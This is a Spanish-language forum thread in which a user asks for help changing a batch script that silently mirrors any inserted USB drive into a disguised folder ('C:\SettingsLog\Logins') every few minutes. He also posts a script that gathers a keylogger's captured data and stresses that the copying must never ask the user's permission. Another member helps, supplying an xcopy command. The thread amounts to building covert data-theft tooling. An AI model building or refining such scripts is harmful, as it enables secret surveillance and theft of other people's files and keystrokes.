Al copiar datos, solo reemplasar lo ya existente, y todo en una sola carpeta!!

Iniciado por Abathar, 7 Noviembre 2013, 20:17 PM

0 Miembros y 2 Visitantes están viendo este tema.

Abathar

Amigos una nueva consulta, Activo este .bat (FLASHCopy) que en bajé, y lo que hace es que crea cada tiempo una carpeta distinta con nombre y fecha, esto me causa problemas, porque si se está trabajando por horas con la usb conectada, seguirá copiando la usb cada 5 minutos y llenándome el disco duro, con la misma información una y otra vez repetida solo que con distinta fecha y hora; lo que quiero es que sí, monitoreé cada 5 minutos y que copie todos los datos, sin importar cuantas veces cuando o a que hora se conecte la usb, pero a una sola carpeta siempre, por ejemplo"C:\SettingsLog\Logins\DataCopy", y que sobrescriba los datos que ya están ahí, y así solo aumentará el tamaño la carpeta solo si hay datos nuevos o distintos. Se los dejo para que lo revisen.

Código (dos) [Seleccionar]

:: (c) Norfipc 2010 - http://norfipc.com
:: Use at your own risk. No warranty express or implied.
:: Permission granted to copy, distribute and modify, provided
:: this message is not removed.
:: Copy FLSH2files Windows Vista-7.
@ECHO OFF

set tiempo=%time:~0,5%
set tiempo=%tiempo::=-%
set fecha=%date:~0%
set fecha=%fecha:/=-%
set file=%fecha% %tiempo%
echo %file%

set ruta="C:\SettingsLog\Logins\%file%"
mkdir %ruta%

MOUNTVOL /R


FOR /F "tokens=2 delims=\ " %%A IN ('REG Query "HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:" 5F[0-9A-F]*"') DO ROBOCOPY %%A\ %ruta% /NODD  /V /MIR  /R:0  /W:0 /ETA




Había hecho yo algo simple que hace esto, pero no sé como aplicarlo al que les presenté anteriormente, se los muestro:


Código (dos) [Seleccionar]
@echo off
C:
cd \ProgramData
cd rvlkl
xcopy data D:\System /c /e /h /i /k /r /y



Esto fue un experimentito para copiar los datos recopilados de un key logger, y si me copia y sobrescribe la información que ya tengo rescatada, les agradezco de antemano su ayuda!!

Almapa

Okay, pero lo que quieres es sólo cambiar la carpeta de destinación (a una carpeta fija que no depende de la hora) y que en el nombre no aparezca la fecha ni la hora?

Abathar

Siii por favorrr!!, lo demás está perfecto que monitore, ademas que sobreescriba los archivos ya existentes! y respete los que no han sido actualizados! obviamente sin que pida autorización al usuario!


Almapa

Los documentos dónde están? en un USB? en el disco D:\?

Están distribuidos en distintas carpetas? en la carpeta "data"?

Estoy un poco perdido en el funcionamiento  :huh:

Abathar

jejej!, mira los documentos estarían en una USB y los tendría que copiar aquí "C:\SettingsLog\Logins\DataCopy", el primer bat es el que quiero modificar para que haga lo que les pido, en el segundo bat que pongo, sólo pongo de ejemplo (con otra finalidad) que ese me funcionó con atributos que me interesarían en el primero como: que no pida autorización, que sobrescriba los documentos etc. no le hagas mucho caso al segundo, pero el primero es el que quiero modificar.

Almapa

No se me ocurre cómo buscar el nombre del USB, no se si el bucle "for" del primer script que colgaste lo hará y sería quitar las líneas que tienen algo que ver con la fecha, la hora, etc. y el comando principal para copiarlos sería como tu has dicho:

XCOPY "Letra destinada al USB" "C:\SettingsLog\Logins\DataCopy" /E /C /H /I /K /R /Y

Lo siento pero no se me ocurre nada

Un saludo!

Abathar

Muchísimas gracias, ciertamente la solución era mucho más sencilla de lo que pensaba, ayer precisamente había llegado a esta conclusión: set ruta="C:\SettingsLog\Logins\DataCopy"
mkdir %ruta%    y ahorita la iba a publicar, en verdad gracias!!